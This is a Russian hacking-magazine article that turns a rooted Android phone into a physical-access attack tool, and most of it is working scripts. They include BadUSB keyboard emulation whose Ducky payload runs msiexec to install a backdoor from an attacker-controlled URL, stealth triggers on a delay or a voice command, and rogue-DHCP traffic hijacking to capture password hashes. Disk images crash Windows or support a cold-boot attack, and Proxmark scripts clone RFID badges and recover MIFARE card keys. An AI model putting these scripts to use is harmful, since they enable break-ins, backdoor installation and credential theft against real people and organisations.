Продвинутый киберфон: заряжаем телефон хакерской силой

Продвинутый киберфон: заряжаем телефон хакерской силой, image #1

В статье «Ки­бер­фон. Прев­раща­ем телефон на Android в инс­тру­мент хакера» был показан прос­той и уни­вер­саль­ный спо­соб соз­дания GNU-окру­жения — базы для хакер­ско­го инс­тру­мен­тария. Мы рас­смот­рели прин­цип сбор­ки драй­веров пря­мо на устрой­стве, а так­же орга­низо­вали вза­имо­дей­ствие Android с GNU. Затем я про­демонс­три­ровал часть хакер­ских воз­можнос­тей сов­ремен­ного смар­тфо­на. Это были самые опас­ные и рас­простра­нен­ные век­торы нападе­ния с исполь­зовани­ем ради­ока­нала. Давай взгля­нем, на что спо­собен телефон при непос­редс­твен­ном физичес­ком дос­тупе к ата­куемо­му устрой­ству.

BadUSB

Сов­ремен­ные Android-устрой­ства име­ют из короб­ки богатую под­дер­жку эму­ляции USB. Нап­ример, при под­клю­чении к компь­юте­ру телефон обыч­но спра­шива­ет, как он может быть опре­делен — как сетевое устрой­ство, съем­ный диск или ина­че. Все это эму­ляция через так называ­емые USB-гад­жеты. Ты можешь самос­тоятель­но изу­чить, какие гад­жеты уже реали­зова­ны в тво­ем текущем ядре, с помощью мобиль­ного при­ложе­ния USB Gadget Tool (net.tjado.usbgadget). Сре­ди них навер­няка есть под­дер­жка гад­жетов для всех воз­можных BadUSB-атак.

BadUSB-hid

С телефо­на мож­но без тру­да ими­тиро­вать кла­виату­ру и выпол­нить про­изволь­ные коман­ды с помощью авто­мати­чес­кого вво­да — эта ата­ка была опи­сана в статье «Очень пло­хая флеш­ка. Раз­бира­ем ата­ку BadUSB в деталях». Нам пот­ребу­ется USB-фун­кция hid.keyboard, а сле­дующи­ми незамыс­ловаты­ми коман­дами ата­кующий может вклю­чить в телефо­не спря­тан­ные воз­можнос­ти эму­ляции кла­виату­ры:

badusb/hid/start.sh

#!/bin/bash

if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi

cat <<EE | sudo bash

cd /sys/kernel/config/usb_gadget/g1/

mkdir -p functions/hid.keyboard

cd functions/hid.keyboard/

echo 1 > protocol

echo 1 > subclass

echo 8 > report_length

echo -ne '\\x05\\x01\\x09\\x06\\xa1\\x01\\x05\\x07\\x19\\xe0\\x29\\xe7\\x15\\x00\\x25\\x01\\x75\\x01\\x95\\x08\\x81\\x02\\x95\\x01\\x75\\x08\\x81\\x03\\x95\\x05\\x75\\x01\\x05\\x08\\x19\\x01\\x29\\x05\\x91\\x02\\x95\\x01\\x75\\x03\\x91\\x03\\x95\\x06\\x75\\x08\\x15\\x00\\x25\\x65\\x05\\x07\\x19\\x00\\x29\\x65\\x81\\x00\\xc0' > report_desc

cd -

ln -s functions/hid.keyboard configs/b.1/hid.keyboard

echo "" > UDC

echo `ls -1 /sys/class/udc/ | head -1` > UDC

ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config rndis,none,adb'"

while sleep 1; do chmod 666 /dev/hidg0 2> /dev/null && break; done

EE

В резуль­тате телефон может стать USB-кла­виату­рой. Акти­виру­ет нажатия кла­виату­ры такой скрипт:

badusb/hid/keystrokes.sh

#!/bin/bash

[[ $# -eq 1 ]] && ducky=$(realpath "$1") || ducky=$(realpath 'ducky.txt')

python2 ./ducky/duckhunter.py -l us "$ducky" /tmp/rubber_ducky.sh

cat /tmp/rubber_ducky.sh

PATH="$PATH:." bash /tmp/rubber_ducky.sh

rm /tmp/rubber_ducky.sh

В слу­чае с телефо­ном ата­ка BadUSB-hid может выг­лядеть даже менее подоз­ритель­но, чем с флеш­кой. Ведь если флеш­ку вста­вит в комп далеко не каж­дый, то зарядить телефон мож­но поч­ти у кого угод­но.

Те­лефон на заряд­ке нажима­ет кла­виши, запус­кающие коман­ду ска­чива­ния и запус­ка бэк­дора
Те­лефон на заряд­ке нажима­ет кла­виши, запус­кающие коман­ду ска­чива­ния и запус­ка бэк­дора

Это отличный соци­аль­ный век­тор ата­ки. Забав­но, но воп­реки обще­му мне­нию получа­ется, что телефо­ном взло­мать комп куда про­ще, чем компь­юте­ром взло­мать телефон.

Для незамет­ности зло­умыш­ленник может акти­виро­вать ата­ку не сра­зу в момент под­клю­чения, а спус­тя какое‑то вре­мя:

sleep 60; badusb/hid/start.sh; badusb/hid/keystrokes.sh

У сов­ремен­ного телефо­на мно­жес­тво дат­чиков, и триг­гером к ата­ке может стать что угод­но — осве­щение, виб­рация, дви­жение телефо­на или даже голосо­вая коман­да:

while [ ~/android/listen.sh != "run" ]; do false; done; badusb/hid/keystrokes.sh ducky.txt

android/listen.sh

#!/bin/bash

ssh -i ~/id_rsa-local -p 8022 localhost "termux-speech-to-text"

Син­таксис ducky-скрип­тов пол­ностью иден­тичен опи­сан­ному в статье про BadUSB-флеш­ку и про ее бес­про­вод­ной ана­лог — Mousejack. Самое опас­ное, что может быть наб­рано на кла­виату­ре, — это, нап­ример, такой код:

badusb/hid/ducky.txt

GUI r

DELAY 500

STRING msiexec /i https://en.badusb.attacker.tk/1.msi /quiet

DELAY 300

ENTER

SHIFT ALT

DELAY 300

SHIFT CTRL

DELAY 300

GUI r

DELAY 500

STRING msiexec /i https://ru.badusb.attacker.tk/1.msi /quiet

DELAY 300

ENTER

Те­лефон зло­умыш­ленни­ка покор­но заряжа­ется от компь­юте­ра жер­твы, но, как толь­ко он услы­шит коман­ду run, сра­баты­вает ата­ка, и компь­ютер ока­зыва­ется ском­про­мети­рован­ным за секун­ду. Зло­умыш­ленник может даже уда­лен­но ини­цииро­вать ата­ку, под­клю­чив­шись к телефо­ну по VPN, исполь­зуя 4G и запус­тив сце­нарий keystrokes.sh на телефо­не.

Так как ими­тиру­ется кла­виату­ра, то через /dev/hidg0 мож­но выпол­нять обыч­ный инте­рак­тивный набор тек­ста пря­мо на вир­туаль­ной кла­виату­ре телефо­на:

badusb/hid/keyboard.sh

#!/bin/bash

while read -n 1 byte

do

python2 ducky/keyseed.py "$byte" | ./hid-keyboard /dev/hidg0 keyboard 2> /dev/null

echo "$byte" | xxd | grep -q '1b' && break

done

А через /dev/hidg1 мож­но управлять и мыш­кой:

badusb/hid/mouse.py

#!/usr/bin/python3

import curses

from os import system

def main(stdscr):

curses.curs_set(0)

curses.mousemask(1)

while True:

key = stdscr.getch()

if key == curses.KEY_MOUSE:

try:

_, x, y, _, _ = curses.getmouse()

system("echo {x} {y} | ./hid-keyboard /dev/hidg1 mouse".format(x=x, y=y))

stdscr.addstr(0, 0, "{x} {y} ".format(x=x, y=y)); stdscr.refresh()

except:

pass

elif key == ord("l"):

system("echo --b1 | ./hid-keyboard /dev/hidg1 mouse")

stdscr.addstr(0, 0, "left click "); stdscr.refresh()

elif key == ord("r"):

system("echo --b2 | ./hid-keyboard /dev/hidg1 mouse")

stdscr.addstr(0, 0, "right click"); stdscr.refresh()

elif key == 0x1b:

break

curses.wrapper(main)

На­жатия по кон­соли в псев­догра­фичес­ком режиме исполь­зуют­ся, что­бы передать дви­жения кур­сора на компь­ютер.

BadUSB-ETH

Ата­ку BadUSB-ETH, поз­воля­ющую перех­ватить сетевой тра­фик (смот­ри статью «Злая сетеву­ха. Раз­бира­ем в деталях ата­ку BadUSB-ETH»), тоже мож­но про­вес­ти с телефо­на. Для это­го его нуж­но слег­ка нас­тро­ить:

badusb/eth/start.sh

#!/bin/bash

if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi

cd /sys/kernel/config/usb_gadget/g1

echo 0xff88|sudo tee idProduct

echo 0x2717|sudo tee idVendor

echo 549839c4 | sudo tee strings/0x409/serialnumber

echo rndis_adb | sudo tee configs/b.1/strings/0x409/configuration

sudo ln -s functions/gsi.rndis configs/b.1/f2

echo "" | sudo tee UDC

echo `ls -1 /sys/class/udc/ | head -1` | sudo tee UDC

ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config rndis,none,adb'"

cd -

sleep 1

sudo ifconfig rndis0 up

sudo dnsmasq --conf-file=dnsmasq-attack.conf -p0

sudo tcpdump -i rndis0 -nn -c 1 # waiting a connection

sleep 1

read iface table <<< $(ip r show table all|grep default|grep -v dummy|cut -d ' ' -f 5,7)

echo "forward to $iface ($table)"

sudo ifconfig rndis0 up

sudo ip a add 192.168.42.1/24 broadcast 192.168.42.255 dev rndis0

sudo ip r add 192.168.42.0/24 dev rndis0 table 97

sudo ip rule add to 192.168.42.0/24 lookup 97

#sudo ip rule add from all iif lo oif rndis0 lookup 97

sudo ip rule add from all iif rndis0 lookup $table

sudo sysctl -w net.ipv4.ip_forward=1

sudo iptables -t nat -A tetherctrl_nat_POSTROUTING -o $iface -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE

sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP

sudo tcpdump -i rndis0 -nn

В пер­вом бло­ке скрип­та акти­виру­ется эму­ляция сетевой кар­ты по USB. Она, кста­ти, может уже при­сутс­тво­вать по умол­чанию или быть дос­тупна через обыч­ные нас­трой­ки телефо­на: «Нас­трой­ки → Для раз­работ­чиков → Кон­фигура­ция USB по умол­чанию: USB-модем».

Во вто­ром бло­ке скрип­та запус­кает­ся кас­томный DHCP-сер­вер, который перек­рыва­ет сетевые мар­шру­ты жер­твы и нап­равля­ет весь ее тра­фик в телефон ата­кующе­го.

Так как при под­клю­чении телефо­на ОС Android не в сос­тоянии запус­тить свой DHCP-сер­вер, нас­трой­ка интерфей­са может прер­вать­ся. Поэто­му нуж­но докон­фигури­ровать его самос­тоятель­но, и имен­но это дела­ется в треть­ем бло­ке скрип­та.

Скрипт дол­жен быть запущен перед под­клю­чени­ем телефо­на к заб­локиро­ван­ному компь­юте­ру, что­бы интерфейс rndis0 на телефо­не пра­виль­но скон­фигури­ровал­ся. Если все сде­лано вер­но, то комп, к которо­му под­клю­чен телефон, так­же авто­мати­чес­ки скон­фигури­рует уже свой сетевой интерфейс. Далее ата­куемый компь­ютер отправ­ляет весь свой тра­фик в телефон, в том чис­ле и Wi-Fi, и Ethernet (если они есть). Ведь мар­шру­ты дей­ству­ющих сетевых интерфей­сов ока­зались перек­рыты USB-сетью.

Да­лее запус­кают­ся уже непос­редс­твен­но все ата­ки:

badusb/eth/attack.sh

#!/bin/bash

GREEN=$'\x1b[32m'

RESET=$'\x1b[39m'

#~/gui.sh

for script in $(find on_network/ -type f -perm -u+x)

do

exec sudo $script rndis0 poisontap &

done

while echo -n '.'

do

if [ $(arp -an | sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on rndis0/\1/p' | wc -l) -ne 0 ]

then

break

fi

sleep 1

done

arp -an | sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on rndis0/\1/p' | while read ip

do

echo $GREEN "client detected" $RESET

for script in $(find on_client/ -type f -perm -u+x)

do

exec sudo $script $ip "" 192.168.42.1 &

done

done

В пер­вом цик­ле запус­кают­ся ата­ки on_network, уни­вер­саль­ные для всех кли­ентов. Во вто­ром ожи­дает­ся появ­ление IP-адре­са кли­ента (целево­го устрой­ства), а в треть­ем — запуск на него всех on_client-атак: чекеры уяз­вимос­тей, брут­форсе­ры, сбор дан­ных и так далее. В этом слу­чае, бла­года­ря дис­плею телефо­на, ата­кующий видит боль­ше информа­ции о ходе про­цес­са.

Те­лефон соз­дает Ethernet-сеть с заб­локиро­ван­ным ноут­буком, перек­рыва­ет дру­гие сети и перех­ватыва­ет хеш пароля
Те­лефон соз­дает Ethernet-сеть с заб­локиро­ван­ным ноут­буком, перек­рыва­ет дру­гие сети и перех­ватыва­ет хеш пароля

Та­ким спо­собом впол­не реаль­но стя­нуть NetNTLM-хеш. Если его сбру­тить (что тоже дос­тижимо), то удас­тся обой­ти бло­киров­ку устрой­ства. Если это домен­ный комп, то такой хеш мож­но нап­равить на LDAP кон­трол­лера домена и, изме­нив опре­делен­ные свой­ства учет­ки, так­же обой­ти аутен­тифика­цию. Воз­можно, ата­кующе­му повезет и удас­тся сра­зу выпол­нить про­изволь­ный код через какую‑нибудь уяз­вимость или подоб­ранный пароль, а затем акти­виро­вать бэк­дор. И все это толь­ко с помощью телефо­на.

BadUSB-HDD

По­мимо устрой­ств вво­да (hid) и сетевых карт (eth), Android-телефон (вер­нее, ядро Linux) уме­ет эму­лиро­вать еще и носите­ли дан­ных — жес­ткие дис­ки и CD-при­воды.

BadUSB-HDD — это под­вид BadUSB-атак, который зак­люча­ется в воз­можнос­ти сымити­ровать заг­рузоч­ное устрой­ство при перезаг­рузке и выпол­нить там про­изволь­ный код. Одна­ко воз­можность эму­ляции дис­ка может быть полез­на и для дру­гих целей.

В качес­тве дис­ка исполь­зует­ся обыч­ный файл‑образ. Его содер­жимое — это пос­ледова­тель­ность бай­тов. Все, что записа­но в фай­ле, находит­ся на дис­ке. Сле­дующий скрипт по выбору может ими­тиро­вать такие заранее под­готов­ленные дис­ки:

badusb/hdd/start.sh

#!/bin/bash

[[ $# -ge 1 ]] && disk="$1" || read -p 'disk image (empty=0, vuln_ntfs=1, coldboot=2, kali=3): ' disk

[[ $# -ge 2 ]] && ro="$1"

case "$disk" in

0) disk='empty.img'; ro=0 ;;

1) disk='vuln_ntfs.img'; ro=1 ;;

2) disk='coldboot.img'; ro=0 ;;

3) disk='kali.img'; ro=0 ;;

esac

disk="$(pwd)/$disk"

if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi

cat <<EE | sudo bash

cd /sys/kernel/config/usb_gadget/g1

echo "$ro" > functions/mass_storage.0/lun.0/ro

echo '1' > functions/mass_storage.0/lun.0/removable

echo "$disk" > functions/mass_storage.0/lun.0/file

EE

sleep 1

ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config mass_storage,adb'"

При­меча­тель­но, что мож­но сымити­ровать и readonly-носите­ли так, что­бы ОС или анти­вирус ничего не уда­лили. Оста­нав­лива­ет эму­ляцию дис­ка сле­дующий скрипт:

badusb/hdd/stop.sh

#!/bin/bash

if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi

cat <<EE | sudo bash

cd /sys/kernel/config/usb_gadget/g1

echo '' > functions/mass_storage.0/lun.0/file

EE

sleep 1

ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config none,adb'"

Каж­дый образ дис­ка может исполь­зовать свой сце­нарий ата­ки, нап­ример:

  • empty.img. При под­клю­чении эму­лиру­ется пус­той диск. На него мож­но ско­пиро­вать все, что угод­но. Файл обра­за дис­ка на телефо­не мож­но зашиф­ровать и таким обра­зом спря­тать похищен­ную информа­цию;
  • vuln_ntfs.img. Windows при под­клю­чении спе­циаль­ным обра­зом пов­режден­ной фай­ловой сис­темой может упасть в BSOD. Если перед зло­умыш­ленни­ком некий информа­цион­ный тер­минал, то это прос­той сце­нарий отка­за в обслу­жива­нии. Если же перед ним заб­локиро­ван­ный комп, на котором таким обра­зом был выз­ван BSOD, зна­чит, пос­ле это­го он вый­дет на перезаг­рузку, воз­можно — с сох­ранен­ными в RAM дан­ными. И тут мож­но перей­ти к сле­дующе­му сце­нарию;
  • coldboot.img. Метод, уже опи­сан­ный в статье «Cold boot attack. Дам­пим опе­ратив­ную память с помощью флеш­ки». С телефо­на ата­кующий может сдам­пить опе­ратив­ную память в файл это­го же обра­за;
  • kali.img. Если перед ата­кующим комп, к которо­му у него име­ется пол­ный физичес­кий дос­туп, и ничего, кро­ме телефо­на, под рукой нет — он может эму­лиро­вать заг­рузоч­ный диск Kali Linux (или чего‑то подоб­ного), перезаг­рузить­ся с него и начать раз­витие даль­нейших атак. Так зло­умыш­ленник обой­дет и орга­низа­цион­ный кон­троль, ведь у него толь­ко телефон, и тех­ничес­кий — анти­виру­сы оста­лись на дру­гой ОС.

На рисун­ке ниже показа­но, как под­клю­чен­ный к компь­юте­ру по USB телефон эму­лиру­ет диск с пов­режден­ной фай­ловой сис­темой, при­водя­щей к BSOD.

Эму­ляция жес­тко­го дис­ка по USB с пов­режден­ной фай­ловой сис­темой
Эму­ляция жес­тко­го дис­ка по USB с пов­режден­ной фай­ловой сис­темой

Ава­рий­но перезаг­ружен­ный таким обра­зом компь­ютер может уйти на перезаг­рузку с незатер­тыми дан­ными в RAM. Телефон же в этот момент может эму­лиро­вать по USB дру­гой диск — coldboot.img — и выпол­нить ата­ку Cold Boot.

Proxmark

Тех­нологии RFID (125 кГц) и NFC (13,56 МГц) при­меня­ются пов­семес­тно для бес­контак­тной иден­тифика­ции и пре­одо­ления тур­никетов на заводах, вход­ных две­рей кабине­тов, подъ­ездов и так далее.

RFID и NFC лег­ко спу­тать. На вид они сла­бо отли­чимы. Есть пара лай­фха­ков, поз­воля­ющих быс­тро понять, какой тип бес­контак­тной тех­нологии перед вами. Сов­ремен­ные телефо­ны снаб­жены NFC и не исполь­зуют RFID, поэто­му если твой телефон сре­аги­ровал на под­несен­ную мет­ку, зна­чит, это NFC. Дру­гой спо­соб — визу­аль­ный, с исполь­зовани­ем фонари­ка.

Оп­ределя­ем тип бес­контак­тной кар­ты обыч­ным фонари­ком
Оп­ределя­ем тип бес­контак­тной кар­ты обыч­ным фонари­ком

Ес­ли прос­вечива­ется круг­лая антенна — это обыч­но RFID, пря­моуголь­ная — NFC. Но воз­можны и час­тные слу­чаи. Эти две тех­нологии мож­но встре­тить при­мер­но с рав­ной веро­ятностью. Авто­мати­зиро­ван­ные сис­темы кон­тро­ля и управле­ния дос­тупом в биз­нес‑цен­трах и на пред­при­ятиях чаще работа­ют на RFID, в то вре­мя как в гос­тиницах и оте­лях — поч­ти всег­да на NFC. Так­же кар­ты опла­ты, вклю­чая и бан­ков­ские, работа­ют на осно­ве тех­нологии NFC, но они исполь­зуют нем­ного иной прин­цип, поэто­му рас­смат­ривать их не будем.

Обе тех­нологии при­меня­ют бес­контак­тный метод ком­муника­ции ближ­него поля, ког­да RFID/NFC-чип вклю­чает­ся и работа­ет бла­года­ря элек­тро­маг­нитной энер­гии на малых рас­сто­яниях (поряд­ка нес­коль­ких сан­тимет­ров).

Ата­ки на RFID и NFC чаще все­го свя­заны с бес­контак­тным кло­ниро­вани­ем и пос­леду­ющим пов­торным исполь­зовани­ем. Ата­ку мож­но про­водить в сочета­нии с устрой­ством Proxmark. Для его работы тре­бует­ся соб­рать драй­вер:

CONFIG_USB_ACM=m

make modules M=drivers/usb/class

sudo modprobe cdc-acm

Так­же нуж­но соб­рать соот­ветс­тву­ющий инс­тру­мент с ана­логич­ным име­нем:

git clone https://github.com/Proxmark/proxmark3

cd proxmark3; make

RFID

RFID — тех­нология бес­контак­тной иден­тифика­ции, по сути ради­омет­ка, чаще все­го содер­жащая 5 байт. Эта тех­нология никак не защище­на от несан­кци­они­рован­ного чте­ния и может быть без тру­да кло­ниро­вана. RFID мож­но срав­нить с QR-кодом, который лег­ко сфо­тог­рафиро­вать и исполь­зовать пов­торно, с той лишь раз­ницей, что здесь не опти­чес­кий канал счи­тыва­ния, а радио-.

Для кло­ниро­вания мет­ки или, нап­ример, про­пус­ка тре­бует­ся про­читать и эму­лиро­вать дан­ные:

rfid/clone.sh

#!/bin/bash

./read.sh | while read tag

do echo "$tag"

./emulate.sh "$tag"

done

Пос­коль­ку такую ата­ку зло­умыш­ленник может выпол­нять скрыт­но и не видеть экра­на телефо­на, то с помощью Termux-API телефон виб­росиг­налом даст понять ата­кующе­му, что успешно счи­тал RFID:

rfid/read.sh

#!/bin/bash

while :

do

tag=$(sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c 'lf search'|grep 'EM TAG ID'|awk '{print $5}')

if [ x"$tag" != "x" ]; then

echo $tag

~/android/vibrate.sh

fi

sleep 1

done

Чте­ние RFID-мет­ки
Чте­ние RFID-мет­ки

Эму­ляция счи­тан­ной RFID-мет­ки уже поз­волит обой­ти, ска­жем, сис­тему кон­тро­ля и управле­ния дос­тупом:

rfid/emulate.sh

#!/bin/bash

[[ $# -ge 1 ]] && tag="$1" || read -p 'tag: ' tag

{ echo "lf em 410xsim $tag"; read end; } | sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0

Пов­торное исполь­зование про­читан­ной RFID-мет­ки
Пов­торное исполь­зование про­читан­ной RFID-мет­ки

И, впол­не ожи­даемо, зло­умыш­ленник без проб­лем попада­ет в зда­ние. Сот­рудник вышел покурить, зло­умыш­ленник подошел, что­бы спро­сить вре­мя, и незамет­но под­нес телефон с Proxmark к его кар­ману, где хра­нит­ся про­пуск. Далее зло­умыш­ленник может про­ник­нуть в защищен­ное помеще­ние. А что, если жер­твой стал сис­темный адми­нис­тра­тор? Тог­да бонусом будет и дос­туп в сер­верные.

NFC

NFC — это тех­нология бес­про­вод­ной переда­чи информа­ции, име­ющая защиту от несан­кци­они­рован­ного чте­ния. Самый рас­простра­нен­ный из ее вари­антов — Mifare 1024 содер­жит 1024 байт информа­ции, раз­делен­ной на 16 сек­торов по четыре бло­ка, по 16 байт в каж­дом. И имен­но дос­туп к этим сек­торам защища­ется четырех­бай­тны­ми клю­чами. Впро­чем, в этой тех­нологии най­ден ряд уяз­вимос­тей, поз­воля­ющих вос­ста­нав­ливать клю­чи. При этом час­то вос­ста­новить клю­чи мож­но за нес­коль­ко секунд.

По­пыт­ка пол­ного кло­ниро­вания кар­ты при усло­вии, что ата­кующий может вос­ста­новить клю­чи к сек­торам, сос­тоит из попыт­ки чте­ния и эму­ляции:

nfc/clone.sh

#!/bin/bash

while :

do echo -n '.'

uid=$(./read.sh 1 | head -n 1)

if [ x"$uid" != "x" -a -f 'dumpkeys.bin' -a -f 'dumpdata.bin' ]; then

./emulate.sh "$uid"

break

fi

done

Сле­дующий скрипт пыта­ется про­читать дан­ные с сек­торов кар­ты со сло­вар­ными клю­чами или при­менить ата­ку Nested к аппа­рат­ной уяз­вимос­ти MFOC для вос­ста­нов­ления клю­чей:

nfc/read.sh

#!/bin/bash

[[ $# -ge 1 ]] && attempts="$1" || attempts=99

function brute(){

KEYS='/opt/proxmark3/client/default_keys.dic'

sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c "hf mf chk * ? d $KEYS" | grep '^|0' | while read sec keyA s keyB s

do echo "$sec $keyA $keyB"

if [ "x$keyA" = "x?" -a "x$keyB" = "x?" ]; then

rm dumpkeys.bin

return 1

fi

done

return 0

}

function nested(){

sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c 'hf mf chk * ?' | grep '^|0' | while read sec keyA s keyB s

do echo "$sec $keyA $keyB"

sec=$(printf %d $(echo "$sec"|cut -d '|' -f 2))

key=''

if [ "x$keyA" != "x?" ]; then

key="$keyA"

type="A"

elif [ "x$keyB" != "x?" ]; then

key="$keyB"

type="B"

fi

if [ "x" != "x$key" ]; then

echo "hf mf nested 1 $sec $type $key d"

sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c "hf mf nested 1 $sec $type $key d"

if [ -f dumpkeys.bin ]; then

xxd dumpkeys.bin

return 0

else

return 1

fi

break

fi

done

}

function dump(){

sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c 'hf mf dump 1'

if [ -f dumpdata.bin ]; then

xxd dumpdata.bin

return 0

else

return 1

fi

}

shopt -s lastpipe

for ((i=0; i<"$attempts"; i++))

do

uid=$(sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c 'hf search'|grep 'UID :'|awk '{print $3$4$5$6}')

if [ x"$uid" != "x" ]; then

echo "$uid"

if brute; then

if dump; then

break

fi

elif nested; then

if dump; then

break

fi

fi

fi

sleep 1

done

На кар­те для дос­тупа к сек­торам могут исполь­зовать­ся сло­вар­ные клю­чи. Тог­да скрипт авто­мати­чес­ки может сдам­пить ее.

Ес­ли чте­ние со сло­вар­ными клю­чами не уда­лось, скрипт про­бует ата­ку Nested. Для успе­ха зло­умыш­ленни­ку нужен ключ хотя бы от одно­го сек­тора. По нему, ана­лизи­руя генера­тор прос­тых чисел, мож­но вос­ста­новить клю­чи ко всем оставшим­ся сек­торам. Если клю­чи вос­ста­нов­лены и все сек­тора про­чита­ны, то ата­кующий может эму­лиро­вать NFC жер­твы:

nfc/emulate.sh

#!/bin/bash

[[ $# -ge 1 ]] && uid="$1" || read -p 'uid: ' uid

if [ -f 'dumpkeys.bin' -a -f 'dumpdata.bin' ]; then

xxd -ps -c 16 dumpdata.bin > dumpdata.eml

{ echo 'hf mf eload 1 dumpdata'; echo "hf mf sim u $uid"; read end; } | sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0

else

{ echo "hf mf sim u $uid"; read end; } | sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0

fi

Иног­да для иден­тифика­ции не исполь­зуют­ся дан­ные сек­торов, а толь­ко четырех­бай­тный UID, который никак не защищен от чте­ния. В таком слу­чае защищен­ность мет­ки сни­жает­ся до уров­ня RFID.

Ка­кой импакт здесь име­ет мес­то? Как минимум — такой же, как в слу­чае с RFID. Если кар­та NFC содер­жит дефол­тные клю­чи либо под­верже­на популяр­ной уяз­вимос­ти MFOC, то при­мер­но за десять секунд все дан­ные с кар­ты могут быть выг­ружены. На некото­рых кар­тах эта ата­ка может занимать боль­ше вре­мени. Подоб­ные NFC — это всем извес­тные кар­точки опла­ты в тран­спор­те. Ины­ми сло­вами, импакт от незащи­щен­ности дан­ных на NFC-носите­лях может нанес­ти финан­совый ущерб.

Proxmark — дос­таточ­но мощ­ный инс­тру­мент, воз­можнос­ти которо­го отнюдь не огра­ниче­ны опи­сан­ными при­мера­ми атак. Это самое прос­тое и быс­трое, что может сде­лать хакер в кон­тек­сте физичес­кого воз­дей­ствия, про­води­мого в тан­деме с телефо­ном. Более того, инс­тру­мент Proxmark3 име­ет собс­твен­ный набор скрип­тов для авто­мати­зации опре­делен­ных дей­ствий.

Ethernet

Ес­ли ата­кующий име­ет дело с Ethernet, ему нуж­но сна­чала под­клю­чить внеш­нюю сетевую кар­ту. Вооб­ще, некото­рые сетевые кар­ты в форм‑фак­торе USB в магази­нах иног­да про­дают­ся с осо­бой помет­кой — «Для план­шетов». Велика веро­ятность, что такую сетевую кар­ту ядро под­хва­тит авто­мати­чес­ки. Тем не менее, если это­го не про­изош­ло, всег­да мож­но дособ­рать тре­буемый ядер­ный модуль, нап­ример так:

CONFIG_USB_RTL8152=m

make modules M=drivers/net/usb

Для авто­мати­чес­кой заг­рузки необ­ходимо­го драй­вера и нас­трой­ки адап­тера перед под­клю­чени­ем запус­кает­ся сле­дующий скрипт:

eth/start.sh

#!/bin/bash

sudo insmod /lib/modules/4.14.83-quax+/extra/r8152.ko

sudo /lib/systemd/systemd-udevd --debug &

count=$(lsusb|wc -l)

while sleep 1; do if [ $(lsusb|wc -l) -ne $count ]; then break; fi; done

sleep 2

sudo killall systemd-udevd

sudo ifconfig eth0 up

sudo ip a add 11.0.0.10/24 dev eth0

sleep 1

table=$(ip r show table all|grep eth0|head -n 1|cut -d ' ' -f 5)

echo "eth0 table: $table"

sudo ip r add 11.0.0.0/24 dev eth0 table $table

sudo ip rule add to 11.0.0.0/24 lookup $table

ifconfig eth0

Так как ОС Android исполь­зует мар­шру­тиза­цию с при­мене­нием пра­вил, тре­бует­ся нем­ного боль­ше команд, чем на обыч­ном Linux.

Атака

Ес­ли перед ата­кующим заб­локиро­ван­ный комп, то аль­тер­нативой под­клю­чению к нему по USB (как в статье «Злая сетеву­ха. Раз­бира­ем в деталях ата­ку BadUSB-ETH») может быть под­клю­чение нап­рямую патч‑кор­дом в Ethernet-порт, в надеж­де, что тот акти­вен. Ско­рее все­го, если рас­смат­ривать кор­поратив­ный сце­нарий ата­ки, перед ата­кующим будет ста­ционар­ный компь­ютер или ноут­бук, в который уже что‑то под­клю­чено по Ethernet. Зна­чит, сеть на интерфей­се активна. Пос­ле под­клю­чения ата­кующий так­же получит сетевой канал вза­имо­дей­ствия с устрой­ством и смо­жет прос­каниро­вать его на уяз­вимос­ти, поб­рутить SMB/RDP/SSH, а так­же выпол­нить MITM-ата­ки, ведь ата­кующий может занять IP-адрес шлю­за.

Пос­коль­ку адап­тер сетевой кар­ты может быть уже скон­фигури­рован, при­дет­ся сна­чала слу­шать тра­фик, что­бы понять, какой IP-адрес занять ата­кующе­му. В этом слу­чае устрой­ство жер­твы не зап­рашива­ет нас­трой­ки по DHCP, а зна­чит, здесь не про­вер­нуть трюк с перек­рыти­ем сетевых мар­шру­тов. Ведь с BadUSB-ETH каж­дый раз соз­дает­ся новый интерфейс, который кон­фигури­рует­ся авто­мати­чес­ки.

eth/attack.sh

#!/bin/bash

GREEN=$'\x1b[32m'

RESET=$'\x1b[39m'

#~/gui.sh

sudo dnsmasq --conf-file=dnsmasq-attack.conf -d -p0

function change_network(){

ip="$1"

table=$(ip r show table all|grep eth0|head -n 1|cut -d ' ' -f 5)

sudo ip a add "${ip%.*}.1/24" dev eth0

sudo ip r add "${ip%.*}.0/24" dev eth0 table $table

sudo ip rule add to "${ip%.*}.0/24" lookup $table

}

for script in $(find on_network/ -type f -perm -u+x)

do

exec sudo $script eth0 "" &

done

rm /tmp/eth_attacks.txt 2> /dev/null

while :

do

ip=$(sudo tcpdump -i eth0 -nn -c 1 arp 2> /dev/null | awk '{print $7}' | cut -d ',' -f 1)

egrep -q "^$ip$" /tmp/eth_attacks.txt 2> /dev/null && continue || echo "$ip" >> /tmp/eth_attacks.txt

read -p "$ip ?" ok

[[ "$ok" != 'y' ]] && continue

change_network "$ip"

for script in $(find on_client/ -type f -perm -u+x)

do

exec $script $ip "" "${ip%.*}.1" &

done

done

